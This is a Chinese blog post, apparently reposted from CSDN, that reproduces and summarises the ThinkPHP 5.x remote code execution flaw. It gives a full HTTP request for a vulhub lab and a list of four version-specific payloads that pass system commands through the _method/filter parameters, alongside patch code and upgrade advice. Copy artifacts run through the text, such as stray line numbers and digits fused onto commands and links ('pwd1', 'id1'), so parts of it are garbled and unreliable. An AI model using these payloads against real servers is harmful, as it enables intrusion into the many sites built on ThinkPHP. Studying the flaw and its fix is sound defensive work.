一、ThinkPHP 5.0.23 rce漏洞复现与总结
漏洞复现
thinkphp 5.0.23 rce
thinkphp 5.0.23 rce源码下载:
github:https://github.com/top-think/framework/tree/v5.0.231
影响版本
ThinkPHP 5.0系列 < 5.0.23
ThinkPHP 5.1系列 < 5.1.31
安全版本
ThinkPHP 5.0系列 5.0.23
ThinkPHP 5.1系列 5.1.31
漏洞原理
ThinkPHP是一款运用极广的PHP开发框架。其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。
漏洞利用
1.启动vulhub靶场,访问
2.抓包复现,完整的数据是:
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd1
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls1
3.完整数据包:
POST /index.php?s=captcha HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id1
2
3
4
5
6
7
8
9
10
11
手动修正
5.1版本
thinkphp/library/think/route/dispatch/Url.php 类的parseUrl方法,解析控制器后加上 添加
if ($controller && !preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) { throw new HttpException(404, 'controller not exists:' . $controller);
}1
2
3
4
5.0版本
thinkphp/library/think/App.php 类的module方法的获取控制器的代码后面加上
if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) { throw new HttpException(404, 'controller not exists:' . $controller);
}1
2
3
4
框架升级
进入到代码根目录 执行 composer update
目前thinkphp的 5.0(5.0.23) 以及 5.1(5.1.31) 的最新版本,已经修复此漏洞,建议大家项目都用目前最新版本。
二、ThinkPHP 5.x RCE 漏洞分析与利用总结
接下来将为大家进行漏洞分析以及对各个版本、场景下的利用进行详细的总结。
漏洞范围: <= 5.0.23、<= 5.1.32
5.0.x补丁:
https://github.com/top-think/framework/commit/4a4b5e64fa4c46f851b4004005bff5f3196de0031
5.1.x补丁:
https://github.com/top-think/framework/commit/2454cebcdb6c12b352ac0acd4a4e6b25b31982e61
Payload总结
1、<= 5.0.13
1.POST /?s=index/index
2.s=whoami&_method=__construct&method=&filter[]=system1
2
2、<= 5.0.23、5.1.0 <= 5.1.16
开启debug()
1.POST /
2._method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al1
2
3、<= 5.0.23
需要captcha的method路由,如果存在其他method路由,也是可以将captcha换为其他。
1.POST /?s=captcha HTTP/1.1
2._method=__construct&filter[]=system&server[REQUEST_METHOD]=whoami&method=get1
2
4、5.0.0 <= version <= 5.1.32
error_reporting(0)关闭报错
1.POST /
2.c=exec&f=calc.exe&_method=filter1
2
学习参考链接:
1、https://blog.csdn.net/wuxianbing2012/article/details/104897634?utm_medium=distribute.pc_relevant.none-task-blog-searchFromBaidu-1.control&depth_1-utm_source=distribute.pc_relevant.none-task-blog-searchFromBaidu-1.control
2、https://blog.csdn.net/dengzhasong7076/article/details/102139816?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-10.control&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-10.control1
2
ERRORS团队
ERRORS团队源于网络空间安全的兴趣爱好者共同组建,致力于从网络安全的各个层面维护国家网络空间安全,团队成员拥有专业的渗透测试技术、安全评估能力、逆向分析技巧以及丰富的项目经验和实战经验。该团队是一支年轻的有生命力的团队,旨在通过知识分享、技术探讨提升网络安全意识和专业技能。
加入我们:
或者邮件联系: chihou.pro@gmail.com
文章来源: blog.csdn.net,作者:德古拉的杂货铺,版权归原作者所有,如需转载,请联系作者。
原文链接:blog.csdn.net/weixin_41438728/article/details/109847661